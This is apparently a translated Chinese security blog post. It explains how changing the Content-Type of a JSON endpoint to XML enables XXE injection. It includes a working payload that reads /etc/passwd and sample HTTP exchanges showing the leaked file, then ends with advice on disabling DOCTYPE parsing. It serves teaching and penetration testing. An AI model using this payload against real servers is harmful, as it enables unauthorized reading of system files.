玩转JSON节点的Content-Type XXE攻击

2015-04-28 9,016

正如我们所知道的,很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。

尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击,[参见安全脉搏《未知攻焉知防——XXE漏洞攻防》],这种攻击利用了服务器上脆弱配置的XML解析器。

oracle_XXE_CVE-2014-6577_meitu_1

XXE是一种大家所熟知的针对XML节点的攻击方式。为了利用这种攻击,需要在XML payload中包含外部实体声明,并且需要服务器对实体进行扩展,这就可能会导致以下结果:对web服务器文件系统的读取权限、通过UNC路径对远程文件系统的访问或者通过HTTP/HTTPS连接到任意主机。XXE攻击依赖于XML payload中的内联DOCTYPE定义。

在接下来的例子中,我们声明了一个指向web服务器上/etc/passwd文件的外部实体,并将其包含在了XML payload中:

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<element>&xxe;</element>
[some xml content..]

这就构成了一个简单有效的攻击。现在,就让我们玩转一下Content - Type头和HTTP请求payload,然后看看是否可以利用它对JSON节点发起攻击。下面是一个示例JSON请求,请求中Content-Type设置为application / JSON(删除了一些无关紧要的内容):

HTTP Request:
 
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
 
{"search":"name","value":"netspitest"}
 
HTTP Response:
 
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
 
{"error": "no results for name netspitest"}

此时,如果将Content - Type头更改为application / xml,那么客户端将告诉服务器说POST payload是XML格式的数据。

如果不是,那么服务器将无法解析它,并且可能会显示与下面类似的错误提示:

HTTP Request:
 
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
 
{"search":"name","value":"netspitest"}
 
HTTP Request:
 
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
 
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

该错误表明服务器能够处理XML格式的数据以及JSON格式的数据,但是因为发送过来的并不是Content-Type头中所指明的XML格式数据,所以数据无法被正确解析。为了克服这个问题,JSON数据必须转换成XML格式。网络上有很多在线工具可以提供此功能,并且Eric Gruber开发了一个Burp插件来在Burp中自动实现转换(Content-Type转换器)。

Original JSON
 
{"search":"name","value":"netspitest"}
 
XML Conversion
 
<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>netspitest</value>

然而,这种直接的转换会导致得到的是一个无效的XML文档,因为它没有根元素,而根元素是正常XML文档所必须的内容。如果这个无效的XML发送到了服务器,有时服务器会返回一个错误消息来提示需要什么样的根元素,同时随着返回对应的名称空间。否则,最好的方法是添加根元素<root>将它变成一个有效的XML文件。

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

现在可以将原始的JSON请求以XML形式发送,并且服务器将会返回一个有效的响应:

HTTP Request:
 
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
 
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>
 
HTTP Response:
 
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
 
{"error": "no results for name netspitest"}

既然现在服务器接受了XML输入,那么我们就可以利用XXE 来攻击JSON节点了。

HTTP Request:
 
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
 
HTTP Response:
 
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
 
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

显然,并不是每一个JSON节点都接受XML。有时改变Content-Type头可能没有任何影响,也可能会导致415不支持的媒体类型错误消息。但另一方面,JSON转XML攻击并不仅仅局限于JSON内容的POST payload。我也见到过这种方法对JSON格式的GET和POST参数攻击也有效。如果将JSON参数进行转换并以XML形式发送到服务器,那么服务器将猜测它的内容类型。

所以,为了强化JSON节点的安全性,应该禁用XML解析或者禁用内敛DOCTYPE声明,以此来防止XEE注入攻击。

 【原文:playing-content-type-xxe-json-endpoints   安全脉搏PulseO0O翻译整理发布 】

Tags:
评论  (1)
快来写下你的想法吧!

PulseO0O

文章数:12 积分: 1

搞死“永恒之蓝”。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号